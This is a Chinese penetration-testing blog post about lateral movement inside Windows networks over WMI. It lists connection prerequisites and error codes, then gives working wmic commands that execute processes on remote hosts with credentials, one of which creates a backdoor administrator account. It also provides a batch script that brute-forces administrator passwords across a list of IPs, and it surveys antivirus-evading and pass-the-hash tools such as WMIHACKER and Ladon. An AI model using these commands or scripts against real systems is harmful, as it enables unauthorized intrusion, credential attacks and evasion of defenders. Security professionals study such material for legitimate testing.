内网渗透|基于WMI的横向移动

内网渗透|基于WMI的横向移动

基于WMI的横向移动

WMI 介绍

WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用wmic进行远程执行命令。

WMI 利用条件

远程服务器启动Windows Management Instrumentation服务(默认开启)

135 端口未被过滤 [默认配置下目标主机防火墙开启将无法连接]

连接失败常见错误号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时
错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的
......

利用 wmic 进行横向移动

常用系统自带命令

1
2
3
4
5
6
7
8
1.列出远程主机进程
wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:!@#123QWE process list brief
2.在远程系统上执行bat脚本
wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:!@#123QWE process call create c:\programdata\test.bat
3.在远程系统上执行单条命令
wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:!@#123QWE process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

引用自:https://www.cnblogs.com/0xdd/p/11393392.html

批量爆破

wmi的爆破经过实践,错误次数3次以上,360会拦截【无杀软时没有测试】,记录日志为远程rdp爆破,并暂时限制wmi的连接。

※以下为单密码爆破,有爆破多个密码爆破的需求的话,可以根据ipc横向移动那篇自行修改

坑点:需注意特殊字符,如密码中有 % 需要用 % 来转义,例 :123#$% 应转化为 123#$%%

1
2
3
4
5
6
7
8
9
10
11
@echo off
cls
echo Useage: %0 ip.txt
for /f %%i in (%1) do (
echo wmic /node:%%i /user:"%%i\administrator" /password:"123456" process list brief >> log.txt
wmic /node:%%i /user:"%%i\administrator" /password:"123456" process list brief >NUL 2>NUL
IF errorlevel == 0 (
echo success:%%i >> pic.txt
)
)
echo end >> end.txt

利用工具

wmiexec.vbs

没有使用过,暂未测试

wmiexec.vbs 是为了解决wmic无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显 ”执行命令的结果“ 和获取 ”半交互式的 shell“ 。

1
cscript wmiexec.vbs /cmd 192.168.1.1 administrator test@123 whoami

impacket-wmiexec

优点:支持pth

缺点:他的使用需要调用wmi服务,占用目标的445、135和另一个随机端口。

使用参考:域渗透——Pass The Hash的实现 (3gstudent.github.io)

sharpwmi

这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过调用来进行数据传输。
优点:只依赖135端口,不依赖139445端口
缺点:目前只支持上传512kb以下的文件,因为重置每个值的长度不能超过512kb。执行命令和上传文件都依赖powershell(被360拦截了)

https://github.com/QAX-A-Team/sharpwmi

sharpwmi(修改版)

https://github.com/idiotc4t/sharpwmi

这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输。

WMIHACKER(推荐)

免杀横向渗透远程命令执行,常见的WMIEXECPSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(只依赖135端口,不依赖139445端口)

重要:支持pth -> https://github.com/360-Linton-Lab/WMIHACKER/issues/1

主要功能:1、命令执行;2、文件上传;3、文件下载

https://github.com/360-Linton-Lab/WMIHACKER

Ladon

模块功能 目标端口 目标系统 使用教程
WMI爆破 135端口 Windows http://k8gege.org/Ladon/WmiScan.html
WMI-NtlmHash爆破 135端口 Windows http://k8gege.org/Ladon/WmiHashScan.html
WmiExec(推荐) 135端口 Windows 只需135端口通过注册表回显,不像Impacket或其它工具还依赖445,不依赖PowerShell,适用于任意目标
WmiExec2 135端口 Windows 和WmiExec一样只需135端口通过注册表回显,但依赖PowerShell,无PowerShell的目标可能不适用

Sharp-WMIExec

没有使用过,暂未测试

https://github.com/checkymander/Sharp-WMIExec

WMIcmd

没有使用过,暂未测试

https://github.com/nccgroup/WMIcmd

作者

Se7en

发布于

2020-07-12

更新于

2022-03-31

许可协议

评论